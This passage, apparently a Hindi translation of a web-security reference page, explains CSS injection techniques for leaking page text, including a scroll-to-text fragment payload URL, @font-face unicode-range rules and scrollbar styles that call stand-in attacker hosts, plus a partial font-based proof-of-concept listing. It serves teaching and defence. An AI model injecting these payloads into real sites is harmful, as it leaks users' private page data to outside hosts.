рдРрд╕реЗ рдкрд░рд┐рджреГрд╢реНрдпреЛрдВ рдореЗрдВ, рдпрджрд┐ рдкреГрд╖реНрда рдкрд░ "Administrator" рдкрд╛рда рдореМрдЬреВрдж рд╣реИ, рддреЛ рд╕рдВрд╕рд╛рдзрди target.png рд╕рд░реНрд╡рд░ рд╕реЗ рдЕрдиреБрд░реЛрдз рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдкрд╛рда рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рд╣рдорд▓реЗ рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдПрдХ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рддреИрдпрд╛рд░ рдХрд┐рдП рдЧрдП URL рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдЗрдВрдЬреЗрдХреНрдЯреЗрдб CSS рдХреЛ Scroll-to-text рдЕрдВрд╢ рдХреЗ рд╕рд╛рде рдПрдореНрдмреЗрдб рдХрд░рддрд╛ рд╣реИ:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

рдпрд╣рд╛рдБ, рд╣рдорд▓рд╛ HTML рдЗрдВрдЬреЗрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ CSS рдХреЛрдб рдХреЛ рд╕рдВрдЪрд╛рд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реЗрд░рдлреЗрд░ рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рд▓рдХреНрд╖реНрдп рд╡рд┐рд╢реЗрд╖ рдкрд╛рда "Administrator" рд╣реИ, рдЬреЛ Scroll-to-text fragment (#:~:text=Administrator) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╣реИред рдпрджрд┐ рдкрд╛рда рдкрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╕рдВрд╕рд╛рдзрди рд▓реЛрдб рд╣реЛрддрд╛ рд╣реИ, рдЕрдирдЬрд╛рдиреЗ рдореЗрдВ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдЗрд╕рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдХрд╛ рд╕рдВрдХреЗрдд рджреЗрддрд╛ рд╣реИред

рдирд┐рд╡рд╛рд░рдг рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдмрд┐рдВрджреБрдУрдВ рдкрд░ рдзреНрдпрд╛рди рджрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП:

  1. рд╕рдВрдХреАрд░реНрдг STTF рдорд┐рд▓рд╛рди: Scroll-to-text Fragment (STTF) рдХреЗрд╡рд▓ рд╢рдмреНрджреЛрдВ рдпрд╛ рд╡рд╛рдХреНрдпреЛрдВ рд╕реЗ рдореЗрд▓ рдЦрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ рдордирдорд╛рдиреЗ рд░рд╣рд╕реНрдпреЛрдВ рдпрд╛ рдЯреЛрдХрдиреЛрдВ рдХреЛ рд▓реАрдХ рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдХреЛ рд╕реАрдорд┐рдд рдХрд░рддрд╛ рд╣реИред

  2. рд╢реАрд░реНрд╖-рд╕реНрддрд░реАрдп рдмреНрд░рд╛рдЙрдЬрд╝рд┐рдВрдЧ рд╕рдВрджрд░реНрднреЛрдВ рддрдХ рд╕реАрдорд┐рдд: STTF рдХреЗрд╡рд▓ рд╢реАрд░реНрд╖-рд╕реНрддрд░реАрдп рдмреНрд░рд╛рдЙрдЬрд╝рд┐рдВрдЧ рд╕рдВрджрд░реНрднреЛрдВ рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ рдФрд░ iframes рдХреЗ рднреАрддрд░ рдХрд╛рд░реНрдп рдирд╣реАрдВ рдХрд░рддрд╛, рдЬрд┐рд╕рд╕реЗ рдХрд┐рд╕реА рднреА рд╢реЛрд╖рдг рдХреЗ рдкреНрд░рдпрд╛рд╕ рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХ рдзреНрдпрд╛рди рджреЗрдиреЗ рдпреЛрдЧреНрдп рдмрдирд╛ рджреЗрддрд╛ рд╣реИред

  3. рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕рдХреНрд░рд┐рдпрдг рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛: STTF рдХреЛ рдХрд╛рд░реНрдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдХреНрд░рд┐рдпрд╛рдиреНрд╡рдпрди рдЗрд╢рд╛рд░рд╛ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рд╢реЛрд╖рдг рдХреЗрд╡рд▓ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдкреНрд░реЗрд░рд┐рдд рдиреЗрд╡рд┐рдЧреЗрд╢рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдВрднрд╡ рд╣реИред рдпрд╣ рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣рдорд▓реЛрдВ рдХреЗ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд╣реЛрдиреЗ рдХреЗ рдЬреЛрдЦрд┐рдо рдХреЛ рдХрд╛рдлреА рдХрдо рдХрд░рддреА рд╣реИ рдмрд┐рдирд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдмрд╛рддрдЪреАрдд рдХреЗред рдлрд┐рд░ рднреА, рдмреНрд▓реЙрдЧ рдкреЛрд╕реНрдЯ рдХреЗ рд▓реЗрдЦрдХ рдиреЗ рдХреБрдЫ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдФрд░ рдмрд╛рдпрдкрд╛рд╕ (рдЬреИрд╕реЗ, рд╕рд╛рдорд╛рдЬрд┐рдХ рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ, рдкреНрд░рдЪрд▓рд┐рдд рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд) рдХрд╛ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рд╣реИ рдЬреЛ рд╣рдорд▓реЗ рдХреЗ рд╕реНрд╡рдЪрд╛рд▓рди рдХреЛ рдЖрд╕рд╛рди рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВред

рдЗрди рддрдВрддреНрд░реЛрдВ рдФрд░ рд╕рдВрднрд╛рд╡рд┐рдд рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рдкреНрд░рддрд┐ рдЬрд╛рдЧрд░реВрдХрддрд╛ рд╡реЗрдм рд╕реБрд░рдХреНрд╖рд╛ рдмрдирд╛рдП рд░рдЦрдиреЗ рдФрд░ рдРрд╕реЗ рд╢реЛрд╖рдгрдХрд╛рд░реА рддрдХрдиреАрдХреЛрдВ рдХреЗ рдЦрд┐рд▓рд╛рдл рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рд▓рд┐рдП рдХреБрдВрдЬреА рд╣реИред

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдореВрд▓ рд░рд┐рдкреЛрд░реНрдЯ рджреЗрдЦреЗрдВ: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

рдЖрдк рдпрд╣рд╛рдБ CTF рдХреЗ рд▓рд┐рдП рдЗрд╕ рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдПрдХ рд╢реЛрд╖рдг рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ.

@font-face / unicode-range

рдЖрдк рд╡рд┐рд╢рд┐рд╖реНрдЯ unicode рдорд╛рдиреЛрдВ рдХреЗ рд▓рд┐рдП рдмрд╛рд╣рд░реА рдлрд╝реЙрдиреНрдЯ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдХреЗрд╡рд▓ рддрдм рдЗрдХрдЯреНрдард╛ рдХрд┐рдП рдЬрд╛рдПрдВрдЧреЗ рдЬрдм рд╡реЗ unicode рдорд╛рди рдкреГрд╖реНрда рдореЗрдВ рдореМрдЬреВрдж рд╣реЛрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП:

<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>

<p id="sensitive-information">AB</p>htm

рдЬрдм рдЖрдк рдЗрд╕ рдкреГрд╖реНрда рддрдХ рдкрд╣реБрдБрдЪрддреЗ рд╣реИрдВ, рддреЛ Chrome рдФрд░ Firefox "?A" рдФрд░ "?B" рд▓рд╛рддреЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓-рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рдЯреЗрдХреНрд╕реНрдЯ рдиреЛрдб рдореЗрдВ "A" рдФрд░ "B" рд╡рд░реНрдг рд╣реЛрддреЗ рд╣реИрдВред рд▓реЗрдХрд┐рди Chrome рдФрд░ Firefox "?C" рдирд╣реАрдВ рд▓рд╛рддреЗ рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рдореЗрдВ "C" рдирд╣реАрдВ рд╣реИред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рд╣рдо "A" рдФрд░ "B" рдХреЛ рдкрдврд╝рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд░рд╣реЗ рд╣реИрдВред

рдЯреЗрдХреНрд╕реНрдЯ рдиреЛрдб рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрд╢рди (I): рд▓рд┐рдЧреЗрдЪрд░реНрд╕

рд╕рдВрджрд░реНрдн: Wykradanie danych w ┼Ыwietnym stylu тАУ czyli jak wykorzysta─З CSS-y do atak├│w na webaplikacj─Щ

рд╡рд┐рд╡реЗрдЪрд┐рдд рддрдХрдиреАрдХ рдореЗрдВ рдлрд╝реЙрдиреНрдЯ рд▓рд┐рдЧреЗрдЪрд░реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдиреЛрдб рд╕реЗ рдЯреЗрдХреНрд╕реНрдЯ рдирд┐рдХрд╛рд▓рдирд╛ рдФрд░ рдЪреМрдбрд╝рд╛рдИ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдХрдИ рдЪрд░рдг рд╢рд╛рдорд┐рд▓ рд╣реИрдВ:

  1. рдХрд╕реНрдЯрдо рдлрд╝реЙрдиреНрдЯреНрд╕ рдХрд╛ рдирд┐рд░реНрдорд╛рдг:

  • SVG рдлрд╝реЙрдиреНрдЯреНрд╕ рдХреЛ рдРрд╕реЗ рдЧреНрд▓рд┐рдлрд╝ рдХреЗ рд╕рд╛рде рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ horiz-adv-x рд╡рд┐рд╢реЗрд╖рддрд╛ рд╣реЛрддреА рд╣реИ, рдЬреЛ рджреЛ рд╡рд░реНрдгреЛрдВ рдХреЗ рдЕрдиреБрдХреНрд░рдо рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдЧреНрд▓рд┐рдлрд╝ рдХреЗ рд▓рд┐рдП рдмрдбрд╝реА рдЪреМрдбрд╝рд╛рдИ рд╕реЗрдЯ рдХрд░рддреА рд╣реИред

  • рдЙрджрд╛рд╣рд░рдг SVG рдЧреНрд▓рд┐рдлрд╝: <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>, рдЬрд╣рд╛рдБ "XY" рджреЛ рд╡рд░реНрдгреЛрдВ рдХреЗ рдЕрдиреБрдХреНрд░рдо рдХреЛ рджрд░реНрд╢рд╛рддрд╛ рд╣реИред

  • рдЗрди рдлрд╝реЙрдиреНрдЯреНрд╕ рдХреЛ рдлрд┐рд░ fontforge рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ woff рдкреНрд░рд╛рд░реВрдк рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

  1. рдЪреМрдбрд╝рд╛рдИ рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛:

  • CSS рдХрд╛ рдЙрдкрдпреЛрдЧ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рдЯреЗрдХреНрд╕реНрдЯ рд▓рдкреЗрдЯрд╛ рди рдЬрд╛рдП (white-space: nowrap) рдФрд░ рд╕реНрдХреНрд░реЙрд▓рдмрд╛рд░ рд╢реИрд▓реА рдХреЛ рдЕрдиреБрдХреВрд▓рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПред

  • рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд▓рд┐рдЧреЗрдЪрд░, рдФрд░ рдЗрд╕рд▓рд┐рдП рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╡рд░реНрдг рдЕрдиреБрдХреНрд░рдо, рдЯреЗрдХреНрд╕реНрдЯ рдореЗрдВ рдореМрдЬреВрдж рд╣реЛрдиреЗ рдХрд╛ рд╕рдВрдХреЗрдд (рдУрд░реИрдХрд▓) рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЕрд▓рдЧ рд░реВрдк рд╕реЗ рд╕реНрдЯрд╛рдЗрд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдХреНрд╖реИрддрд┐рдЬ рд╕реНрдХреНрд░реЙрд▓рдмрд╛рд░ рдкреНрд░рдХрдЯ рд╣реЛрддрд╛ рд╣реИред

  • рд╢рд╛рдорд┐рд▓ CSS:

body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
  1. рд╢реЛрд╖рдг рдкреНрд░рдХреНрд░рд┐рдпрд╛:

  • рдЪрд░рдг 1: рдмрдбрд╝реЗ рдЪреМрдбрд╝рд╛рдИ рд╡рд╛рд▓реЗ рд╡рд░реНрдгреЛрдВ рдХреЗ рдЬреЛрдбрд╝реЛрдВ рдХреЗ рд▓рд┐рдП рдлрд╝реЙрдиреНрдЯ рдмрдирд╛рдП рдЬрд╛рддреЗ рд╣реИрдВред

  • рдЪрд░рдг 2: рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрдХреНрд░реЙрд▓рдмрд╛рд░-рдЖрдзрд╛рд░рд┐рдд рдЪрд╛рд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рдХрдм рдмрдбрд╝рд╛ рдЪреМрдбрд╝рд╛рдИ рд╡рд╛рд▓рд╛ рдЧреНрд▓рд┐рдлрд╝ (рдПрдХ рд╡рд░реНрдг рдЬреЛрдбрд╝реА рдХреЗ рд▓рд┐рдП рд▓рд┐рдЧреЗрдЪрд░) рдкреНрд░рд╕реНрддреБрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреЛ рд╡рд░реНрдг рдЕрдиреБрдХреНрд░рдо рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИред

  • рдЪрд░рдг 3: рдПрдХ рд▓рд┐рдЧреЗрдЪрд░ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдкрд░, рддреАрди-рд╡рд░реНрдг рдЕрдиреБрдХреНрд░рдо рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдирдП рдЧреНрд▓рд┐рдлрд╝ рдЙрддреНрдкрдиреНрди рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ, рдЬрд┐рд╕рдореЗрдВ рдкрддрд╛ рд▓рдЧрд╛рдП рдЧрдП рдЬреЛрдбрд╝реЗ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдПрдХ рдкреВрд░реНрд╡рд╡рд░реНрддреА рдпрд╛ рдЙрддреНрддрд░рд╡рд░реНрддреА рд╡рд░реНрдг рдЬреЛрдбрд╝рд╛ рдЬрд╛рддрд╛ рд╣реИред

  • рдЪрд░рдг 4: рддреАрди-рд╡рд░реНрдг рд▓рд┐рдЧреЗрдЪрд░ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

  • рдЪрд░рдг 5: рдкреНрд░рдХреНрд░рд┐рдпрд╛ рджреЛрд╣рд░рд╛рдИ рдЬрд╛рддреА рд╣реИ, рдзреАрд░реЗ-рдзреАрд░реЗ рдкреВрд░реЗ рдЯреЗрдХреНрд╕реНрдЯ рдХреЛ рдкреНрд░рдХрдЯ рдХрд░рддреА рд╣реИред

  1. рдЕрдиреБрдХреВрд▓рди:

  • <meta refresh=... рдХрд╛ рд╡рд░реНрддрдорд╛рди рдкреНрд░рд╛рд░рдВрднрд┐рдХрдХрд░рдг рд╡рд┐рдзрд┐ рдЕрдиреБрдХреВрд▓ рдирд╣реАрдВ рд╣реИред

  • рдПрдХ рдЕрдзрд┐рдХ рдХреБрд╢рд▓ рджреГрд╖реНрдЯрд┐рдХреЛрдг CSS @import рдЪрд╛рд▓ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рд╢реЛрд╖рдг рдХреЗ рдкреНрд░рджрд░реНрд╢рди рдХреЛ рдмрдврд╝рд╛рддрд╛ рд╣реИред

рдЯреЗрдХреНрд╕реНрдЯ рдиреЛрдб рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрд╢рди (II): рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдлрд╝реЙрдиреНрдЯ рдХреЗ рд╕рд╛рде charset рд▓реАрдХ рдХрд░рдирд╛ (рдмрд╛рд╣рд░реА рд╕рдВрдкрддреНрддрд┐рдпреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ)

рд╕рдВрджрд░реНрдн: PoC using Comic Sans by @Cgvwzq & @Terjanq

рдпрд╣ рдЪрд╛рд▓ рдЗрд╕ Slackers рдереНрд░реЗрдб рдореЗрдВ рдЬрд╛рд░реА рдХреА рдЧрдИ рдереАред рдЯреЗрдХреНрд╕реНрдЯ рдиреЛрдб рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ charset рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ рд╕реНрдерд╛рдкрд┐рдд рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдлрд╝реЙрдиреНрдЯреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд▓реАрдХ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: рдмрд╛рд╣рд░реА -рдпрд╛ рдХрд╕реНрдЯрдо- рдлрд╝реЙрдиреНрдЯреНрд╕ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред

рдпрд╣ рдЕрд╡рдзрд╛рд░рдгрд╛ рдПрдХ рдПрдиреАрдореЗрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ div рдХреА рдЪреМрдбрд╝рд╛рдИ рдХреЛ рдХреНрд░рдорд┐рдХ рд░реВрдк рд╕реЗ рдмрдврд╝рд╛рдиреЗ рдХреЗ рдЪрд╛рд░реЛрдВ рдУрд░ рдШреВрдорддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдПрдХ рд╕рдордп рдореЗрдВ рдПрдХ рд╡рд░реНрдг 'рд╕рдлрд┐рдХреНрд╕' рднрд╛рдЧ рд╕реЗ 'рдкреНрд░рд┐рдлрд┐рдХреНрд╕' рднрд╛рдЧ рдореЗрдВ рд╕рдВрдХреНрд░рдордг рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЯреЗрдХреНрд╕реНрдЯ рдХреЛ рджреЛ рднрд╛рдЧреЛрдВ рдореЗрдВ рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд░рддреА рд╣реИ:

  1. рдкреНрд░рд┐рдлрд┐рдХреНрд╕: рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдкрдВрдХреНрддрд┐ред

  2. рд╕рдлрд┐рдХреНрд╕: рдЕрдЧрд▓реА рдкрдВрдХреНрддрд┐(рдпрд╛рдБ)ред

рдкрд╛рддреНрд░реЛрдВ рдХреЗ рд╕рдВрдХреНрд░рдордг рдЪрд░рдг рдЗрд╕ рдкреНрд░рдХрд╛рд░ рджрд┐рдЦрд╛рдИ рджреЗрдВрдЧреЗ:

C ADB

CA DB

CAD B

CADB

рдЗрд╕ рд╕рдВрдХреНрд░рдордг рдХреЗ рджреМрд░рд╛рди, unicode-range рдЯреНрд░рд┐рдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдкреНрд░рддреНрдпреЗрдХ рдирдП рд╡рд░реНрдг рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрдм рд╡рд╣ рдкреНрд░рд┐рдлрд┐рдХреНрд╕ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрддрд╛ рд╣реИред рдпрд╣ Comic Sans рдлрд╝реЙрдиреНрдЯ рдХреЛ рд╕реНрд╡рд┐рдЪ рдХрд░рдХреЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдлрд╝реЙрдиреНрдЯ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдЙрд▓реНрд▓реЗрдЦрдиреАрдп рд░реВрдк рд╕реЗ рдКрдБрдЪрд╛ рд╣реЛрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдПрдХ рдКрд░реНрдзреНрд╡рд╛рдзрд░ рд╕реНрдХреНрд░реЙрд▓рдмрд╛рд░ рд╕рдХреНрд░рд┐рдп рд╣реЛрддрд╛ рд╣реИред рдЗрд╕ рд╕реНрдХреНрд░реЙрд▓рдмрд╛рд░ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдЕрдкреНрд░рддреНрдпрдХреНрд╖ рд░реВрдк рд╕реЗ рдкреНрд░рд┐рдлрд┐рдХреНрд╕ рдореЗрдВ рдПрдХ рдирдП рд╡рд░реНрдг рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдХреЛ рдкреНрд░рдХрдЯ рдХрд░рддреА рд╣реИред

рд╣рд╛рд▓рд╛рдВрдХрд┐ рдпрд╣ рд╡рд┐рдзрд┐ рдЕрджреНрд╡рд┐рддреАрдп рд╡рд░реНрдгреЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ рдЬрдм рд╡реЗ рдкреНрд░рдХрдЯ рд╣реЛрддреЗ рд╣реИрдВ, рдпрд╣ рдпрд╣ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдирд╣реАрдВ рдХрд░рддреА рд╣реИ рдХрд┐ рдХреМрди рд╕рд╛ рд╡рд░реНрдг рджреЛрд╣рд░рд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдХреЗрд╡рд▓ рдпрд╣ рдХрд┐ рдПрдХ рдкреБрдирд░рд╛рд╡реГрддреНрддрд┐ рд╣реБрдИ рд╣реИред

рдмреБрдирд┐рдпрд╛рджреА рд░реВрдк рд╕реЗ, unicode-range рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ рд╡рд░реНрдг рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЪреВрдВрдХрд┐ рд╣рдо рдПрдХ рдмрд╛рд╣рд░реА рдлрд╝реЙрдиреНрдЯ рд▓реЛрдб рдирд╣реАрдВ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ, рд╣рдореЗрдВ рдПрдХ рдФрд░ рддрд░реАрдХрд╛ рдЦреЛрдЬрдирд╛ рд╣реЛрдЧрд╛ред рдЬрдм рд╡рд░реНрдг рдкрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЗрд╕реЗ рдкреВрд░реНрд╡-рд╕реНрдерд╛рдкрд┐рдд Comic Sans рдлрд╝реЙрдиреНрдЯ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рд╡рд░реНрдг рдХреЛ рдмрдбрд╝рд╛ рдмрдирд╛рддрд╛ рд╣реИ рдФрд░ рд╕реНрдХреНрд░реЙрд▓ рдмрд╛рд░ рдХреЛ рд╕рдХреНрд░рд┐рдп рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдкрд╛рдП рдЧрдП рд╡рд░реНрдг рдХреЛ рд▓реАрдХ рдХрд░реЗрдЧрд╛ред

PoC рд╕реЗ рдирд┐рдХрд╛рд▓рд╛ рдЧрдпрд╛ рдХреЛрдб рджреЗрдЦреЗрдВ:

/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
